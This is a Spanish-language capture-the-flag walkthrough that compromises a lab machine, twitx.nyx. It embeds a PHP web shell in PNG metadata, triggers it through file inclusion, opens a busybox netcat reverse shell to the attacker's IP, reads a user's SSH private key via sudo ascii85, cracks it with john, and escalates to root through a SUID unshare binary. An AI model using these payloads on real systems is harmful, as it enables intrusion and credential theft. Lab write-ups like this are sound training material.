Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.63
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.63
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.63 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 y 80.
Comprobamos que es lo que corre por el puerto 80.
A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:
$ gobuster dir -u http://10.0.2.63 -w /usr/share/seclists/Discovery/Web-Content/Director-list-2.3-big.txt
Encontramos el directorio note.
Accedemos a el.
Encontramos el dominio twitx.nyx.
Lo agregamos al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:
$ nano /etc/hosts
Accedemos al dominio.
Encontramos un sitio web de streamers, donde hay una cuenta regresiva para el próximo lanzamiento en unas 24 horas y un formulario de registro donde puedes subir un archivo e 2MB, solo PNG y 150x150 como máximo para la imagen del avatar.
A continuación, nos descargamos una imagen en formato
.png cualquiera de internet, le cambiamos el tamaño a
150x150 y le incrustamos una
web shell como un comentario en los metadatos de la imagen con la ayuda de la herramienta
exiftool, para ello ejecutamos el siguiente comando:
$ exiftool -comment '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>' gatito.png
Nos registramos con un usuario usando la imagen como el avatar del usuario.
Analizamos el código fuente del sitio.
Necesitamos hacer creer al sitio que ha llegado la hora de su lanzamiento, revisando el codigo fuente encontramos una variable declarada al final del archivo index.php llamada dateFinish, modificamos esta variable, para ello, abrimos la consola del navegador presionando la tecla F12 y cambiamos la fecha de lanzamiento a la fecha actual e ingresamos:
dateFinish = new date();
Haciendo esto se mostrará el enlace de Log-in para poder iniciar sesión con el usuario creado anteriormente.
Iniciamos sesion.
Una vez registrado accedemos a Mi Perfil desde el menú y en la url parece ser vulnerable a un Local File Inclusion (LFI) solo nos permite cargar un archivo desde el parámetro file desde una carpeta con el parámetro folder.
A continuación, revisamos de nuevo el codigo fuente para saber la ruta de acceso a nuestra imagen.
Accedemos a la siguiente url:
http://twitx.nyx/private.php?folder=upload&file=3234575706990b065784594.82165379.png&cmd=whoami
A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat(nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando.
$ nc -lvnp 443
Ejecutamos la siguiente
reverse shell en
busybox url encodeada y la pegamos en el parámetro
cmd de la siguiente manera:
http://twitx.nyx/private.php?folder=upload&file=3234575706990b065784594.82165379.png&cmd=busybox%20nc%2010.0.2.4%20443%20-e%20bash
Y obtenemos una shell como www-data.
A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos.
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
En la carpeta /var/www/twitx.nyx/includes encontramos el archivo taak.php y que tenemos permisos de escritura sobre el, visualizamos este archivo, para ello ejecutamos el siguiente comando:
$ cat taak.php
Al parecer se trata de una tarea programada que se ejecuta cada minuto, por lo tanto modificamos este archivo y le agregamos la siguiente
reverse shell, para elo ejecutamos el siguiente comando:
$ nano taak.php
A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat(nc) nos ponemos a la escucha por el puerto 444 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando.
$ nc -lvnp 444
Esperamos un minuto o menos.
¡¡¡Somos timer!!!.
A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos.
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario
ascii85 que lo podemos ejecutar como
todos los usuarios del sistema, este binario codifica y descodifica de binario a texto, por lo tanto, nos vamos a la pagina
gtfobins a mirar el payload.
Vemos que con este binario podemos leer ficheros del sistema, por lo tanto, enumeramos los usuarios del sistema, para ello ejecutamos el siguiente comando:
$ cat /etc/passwd
Vemos el usuario lenam, intentamos leer la clave privada id_rsa de este usuario a traves de este binario, para ello ejecutamos los siguientes comandos:
$ LFILE=/home/lenam/.ssh/id_rsa
$ sudo /usr/bin/ascii85 "$LFILE" | ascii85 --decode
Encontramos la clave privada id_rsa para conectarnos por ssh a la Máquina Victima, nos la copiamos en un archivo, para ello ejecutamos el siguiente comando:
$ nano id_rsa
Extraemos el hash del fichero id_rsa con la herramienta ssh2john, para ello ejecutamos el siguiente comando:
$ ssh2john id_rsa > id_rsa.hash
A continuación, intentamos crackearlo, para ello utilizamos la herramienta john indicando el diccionario rockyou, para ello ejecutamos el siguiente comando:
$ john id_rsa.hash --wordlist=rockyou.txt
Y obtenemos la contraseña patricia.
Una vez crackeada la contraseña utilizamos el fichero id_rsa para conectarnos via ssh a la Máquina victima, para ello ejecutamos los siguientes comandos:
$ chmod 600 id_rsa
$ ssh -i id_rsa lenam@10.0.2.63
¡¡¡Somos lenam!!!.
Buscamos todos los binarios con el bit SUID activado, para ello ejecutamos el siguiente comando:
$ find / -perm -4000 2>/dev/null
Como podemos comprobar el binario
unshare tiene el bit
SUID activado, no eliminando los privilegios elevados pudiendo utilizarse de forma abusiva para escalar privilegios como una puerta trasera
SUID, por lo tanto nos vamos a la página
gtfobins a mirar el payload.
Lo ejecutamos de la siguiente manera:
$ /home/lenam/look/inside/unshare -r /bin/sh
¡¡¡Ya somos root!!!.
También pudiendo leer las flags de user y root.